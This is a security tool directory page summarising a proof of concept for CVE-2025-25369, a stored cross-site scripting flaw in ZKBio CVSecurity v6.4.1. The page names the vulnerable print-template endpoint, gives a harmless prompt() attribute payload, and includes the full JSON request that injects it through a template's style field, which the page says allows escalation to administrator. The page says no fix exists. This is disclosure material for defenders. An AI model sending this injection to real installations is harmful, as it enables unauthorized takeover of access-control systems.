Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-25369 — Documented XSS exploit for ZKBio CVSecurity v.6.4.1 with WAF bypass, enabling privilege escalation from Template Editor to administrator via crafted print templates. | Kitploit
Tools/GitHubGitHub/lkasjkasj/cve-2025-25369
Privilege EscalationVulnerability AnalysisExploitationWeb Application ExploitationWAF BypassPenetration Testing
GitHublkasjkasj/cve-2025-25369

CVE-2025-25369

Documented XSS exploit for ZKBio CVSecurity v.6.4.1 with WAF bypass, enabling privilege escalation from Template Editor to administrator via crafted print templates.

View Repository
51 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-25369: Cross Site Scripting vulnerability in ZKTeco ZKBio CVSecurity v.6.4.1

An XSS vulnerability was discovered in ZKBio CVSecurity v.6.4.1.
An attacker could exploit this vulnerability with Template Editor privileges and escalate their privileges to administrator. Bypassing the built-in WAF was also implemented. This can lead to complete compromise of the system.

  • Affected Versions: ZKBio CVSecurity <= v.6.4.1
  • Fixed in: -

CVSS Score: 4.3 (Low)
Vector: CVSS:4.3 AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:L

Affected Component:

  • zkbiosecurity/system/remote/BasePrintTemplateRemote.class
  • basePrintTemplate.do?savePrintTemplate

Attack Vectors:

  • Injecting xss when creating a printable template

Payload:

onpointerdown="prompt(8)"

All data for request:

[{"printType":""background","width":318,"height":505,"printValue":"/upload/pers/101010101.txt"","direction":"1"},{"cell":"printData.person.pin","leftPoint":"77px","topPoint":"323px","width":117,"height":20,"printType":"text","style":"draggable" onpointerdown="prompt(8)" ui-draggable","color":"0, 0, 0","fontSize":"18px","align":"start","fontFamily":""Arial"","printValue":"pers_person_pin","direction":"1"}]

image

image

image

Download Tool